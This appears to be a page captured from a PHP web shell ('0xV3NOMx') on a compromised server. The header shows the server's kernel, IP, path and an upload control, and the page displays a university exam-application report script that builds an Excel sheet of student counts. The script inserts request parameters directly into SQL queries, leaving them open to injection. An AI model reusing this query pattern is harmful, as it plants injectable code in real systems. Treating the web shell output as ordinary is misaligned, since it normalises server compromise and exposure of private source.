0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.128.78.107


Current Path : /var/www/html/univadmin/Reports/
Upload File :
Current File : /var/www/html/univadmin/Reports/exmapp_reg_rep_count.php

<?php
ini_set('max_execution_time', 300);
ini_set('memory_limit','1G');
$main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
date_default_timezone_set('GMT+5:30');
// PHPExcel_Shared_Font::setAutoSizeMethod(PHPExcel_Shared_Font::AUTOSIZE_METHOD_EXACT);
if (PHP_SAPI == 'cli')
    die('This example should only be run from a Web Browser');

/** Include PHPExcel */
$pdf_writer_class = $main_src . '/PHPExcel/Classes/PHPExcel.php';
require_once($pdf_writer_class);

function getheaders($objPHPExcel, $fileName)
{
    //To Fit To Page while printing
    $objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false);

    // Redirect output to a client’s web browser (Excel5)
    header('Content-Type: application/vnd.ms-excel');
    header('Content-Disposition: attachment;filename="' . $fileName . '.xls"');
    header('Cache-Control: max-age=0');
    // If you're serving to IE 9, then the following may be needed
    header('Cache-Control: max-age=1');

    // If you're serving to IE over SSL, then the following may be needed
    header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
    header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified
    header('Cache-Control: cache, must-revalidate'); // HTTP/1.1
    header('Pragma: public'); // HTTP/1.0
    ob_clean();
    $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');
    $objWriter->save('php://output');
    
}


function exmapp_reg_rep_count($aobj_context)
{
    $univcode = $aobj_context->mobj_data["univcode"];  
    $fdeggrpfrom = $aobj_context->mobj_data["fdeggrpfrom"]; 
    $fdeggrpto = $aobj_context->mobj_data["fdeggrpto"]; 
    $fdegfrom = $aobj_context->mobj_data["fdegfrom"]; 
    $fdegto = $aobj_context->mobj_data["fdegto"]; //fexamrange
    $fexamrange = $aobj_context->mobj_data["fexamrange"];
    
    
    
    
   
     
    $objPHPExcel = new PHPExcel();
    $fileName = 'EXAM APPLICATION REGULAR / REPEATER STUDENT COUNT';
    $objPHPExcel->getProperties()->setCreator("Uniclare")
    ->setLastModifiedBy("Me")->setTitle("My Excel Sheet")
    ->setSubject("My Excel Sheet")->setDescription("Excel Sheet")
    ->setKeywords("Excel Sheet")->setCategory("Me");

    // Set active sheet index to the first sheet, so Excel opens this as the first sheet
    $objPHPExcel->setActiveSheetIndex(0);
    
    // Add column headers and make them bold
    $styleArray = array(
        'borders' => array(
            'allborders' => array(
                'style' => PHPExcel_Style_Border::BORDER_THIN,
                'color' => array('argb' => '000000'),
            ),
        ),
    );

    $count = "";
    $j=4;
    $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setBold(true);
    $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setSize(12);
    $objPHPExcel->getActiveSheet()->freezePane('A2');
    $objPHPExcel->getActiveSheet()
    ->setCellValue('A1', "Sl. No.")
    ->setCellValue('B1', "Degree")
    ->setCellValue('C1', "Description")
    ->setCellValue('D1', "Exam no")
    ->setCellValue('E1', "Reg. Stud. Count")
    ->setCellValue('F1', "Rep. Stud. Count")
    ->setCellValue('G1', "Total Count");
        
    $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->applyFromArray($styleArray);
    
    $objPHPExcel->getActiveSheet()->getColumnDimension('1')->setAutoSize(true);
    $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(35);
    $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment()->setWrapText(true);
    $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
    $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
  
    //$count=rtrim($count,", ");

    $examnos = explode("','", $fexamrange);
    $slNo = 2;
    $tot = 0;
    $tot_rep = 0;
    $tot_reg = 0;
    foreach($examnos as $fexamno) {

        $query = "select candsum.fdegree as Degree,degree.fdescpn as descp, '{$fexamno}' as Exam_No, 
        sum(case when candsum.ffreshexam='{$fexamno}' then 1 else 0 end) as Total_Reg, 
        sum(case when candsum.ffreshexam<>'{$fexamno}' then 1 else 0 end) as Total_Rep, 
        sum(case when candsum.ffreshexam='{$fexamno}' then 1 else 0 end) + 
        sum(case when ffreshexam<>'{$fexamno}' then 1 else 0 end) as tot_app
        from candsum,degree where candsum.fdegree=degree.fdegree 
        and candsum.fexamno=degree.fexamno
        and degree.fdeggrp between '{$fdeggrpfrom}' and '{$fdeggrpto}'
        and candsum.fdegree between '{$fdegfrom}' and '{$fdegto}' and fexamfee{$fexamno} > 0 
        group by candsum.fdegree
        order by candsum.fdegree,candsum.fexamno";
        // var_dump($query);
        // die();
        $result = $aobj_context->pobj_db->GetAll($query);

        foreach ($result as $key => $value) {
            
            
            // $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(29);
            $objPHPExcel->getActiveSheet()->setCellValue('A' . $slNo, $slNo -1)->getColumnDimension('A')->setwidth(10);
            $objPHPExcel->getActiveSheet()->setCellValue('B' . $slNo, $value['Degree'])->getColumnDimension('B')->setwidth(10);
            $objPHPExcel->getActiveSheet()->setCellValue('C' . $slNo, $value['descp'])->getColumnDimension('C')->setwidth(50);
            $objPHPExcel->getActiveSheet()->setCellValue('D' . $slNo, $value['Exam_No'])->getColumnDimension('D')->setwidth(10);
            $objPHPExcel->getActiveSheet()->setCellValue('E' . $slNo, moneyFormatIndia($value['Total_Reg']) )->getColumnDimension('E')->setwidth(10);
            $objPHPExcel->getActiveSheet()->setCellValue('F' . $slNo, moneyFormatIndia($value['Total_Rep']))->getColumnDimension('F')->setwidth(10);
            $objPHPExcel->getActiveSheet()->setCellValue('G' . $slNo, moneyFormatIndia($value['tot_app']))->getColumnDimension('G')->setwidth(10);
            $tot += $value['tot_app'];
            $tot_rep += $value['Total_Rep'];
            $tot_reg += $value['Total_Reg'];
            $objPHPExcel->getActiveSheet()->getRowDimension($slNo)->setRowHeight(29);
            //$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setwidth(12);
            $slNo += 1;
        }
    }

    $objPHPExcel->getActiveSheet()->setCellValue('E'.$slNo, moneyFormatIndia($tot_reg));
    $objPHPExcel->getActiveSheet()->setCellValue('F'.$slNo, moneyFormatIndia($tot_rep));
    $objPHPExcel->getActiveSheet()->setCellValue('G'.$slNo, moneyFormatIndia($tot));

    $objPHPExcel->getActiveSheet()->getStyle('A'.$slNo.':G'.$slNo)->getFont()->setBold(true);
    $objPHPExcel->getActiveSheet()->getStyle('A'.$slNo.':G'.$slNo)->getFont()->setSize(12);
    
    $objPHPExcel->getActiveSheet()->mergeCells('A'.$slNo.':D'.$slNo)->setCellValue('A'.$slNo, 'Total');

    $objPHPExcel->getActiveSheet()->getRowDimension($slNo)->setRowHeight(29);
    $objPHPExcel->getActiveSheet()->getStyle('A1:G'. $slNo)->applyFromArray($styleArray);
    $objPHPExcel->getActiveSheet()->getStyle('A1:G'. $slNo) ->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

    $objPHPExcel->getActiveSheet()->getStyle('A2:A' . $slNo )->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
    $objPHPExcel->getActiveSheet()->getStyle('B2:B' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
    $objPHPExcel->getActiveSheet()->getStyle('D2:D' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
    $objPHPExcel->getActiveSheet()->getStyle('E2:E' . $slNo )->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
    $objPHPExcel->getActiveSheet()->getStyle('F2:F' . $slNo )->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
    $objPHPExcel->getActiveSheet()->getStyle('G2:G' . $slNo )->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
    $objPHPExcel->getActiveSheet()->getStyle('C2:C' . $slNo)->getAlignment()->setWrapText(true);

     
     
   

    /*$objPHPExcel->getActiveSheet()->setTitle($fileName);
    $objPHPExcel->getActiveSheet()->getPageSetup()
    ->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);
    
    $get_coll_name = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE,
    FUNIVADD1 as 'state', pdf_logo_path,
    ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control";

    $lobj_get_coll_name = $aobj_context->pobj_db->GetRow($get_coll_name);

    // $deggrp = $aobj_context->mobj_data["dgp"];
    // $query = "select distinct concat(fexamdate,' ',' Examination') as fexamdate 
    // from deggrp where fdeggrp = '{$deggrp}'";
    // $results = $aobj_context->pobj_db->GetRow($query);

    $aobj_context->FUNIVNAME = $lobj_get_coll_name['FUNIVNAME'];
    $aobj_context->s_state = $lobj_get_coll_name['state'];
    $aobj_context->pdf_logo_path = $lobj_get_coll_name['pdf_logo_path'];
    $aobj_context->FUNIVCODE = $lobj_get_coll_name['FUNIVCODE'];    
    // die();

    // $objPHPExcel->getActiveSheet()->getHeaderFooter()->addImage($aobj_context->main_src.'img/'.$aobj_context->FUNIVCODE.'_logo.jpg', PHPExcel_Worksheet_HeaderFooter::IMAGE_HEADER_LEFT);
    $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&C&H&"-,Bold"&16' . $aobj_context->FUNIVNAME . "\n" . '&12' . $rtype);
    $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&C&H'.$deggrp);

    $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&RPage &P of &N');*/
    // die();
    getheaders($objPHPExcel, $fileName);
}

function moneyFormatIndia($num)
{
    $explrestunits = "";
    if (strlen($num) > 3) {
        $lastthree = substr($num, strlen($num) - 3, strlen($num));
        $restunits = substr($num, 0, strlen($num) - 3); // extracts the last three digits
        $restunits = (strlen($restunits) % 2 == 1) ? "0" . $restunits : $restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.
        $expunit = str_split($restunits, 2);
        for ($i = 0; $i < sizeof($expunit); $i++) {
            // creates each of the 2's group and adds a comma to the end
            if ($i == 0) {
                $explrestunits .= (int) $expunit[$i] . ","; // if is first value , convert into integer
            } else {
                $explrestunits .= $expunit[$i] . ",";
            }
        }
        $thecash = $explrestunits . $lastthree;
    } else {
        $thecash = $num;
    }
    return $thecash; // writes the final format where $currency is the currency symbol.
}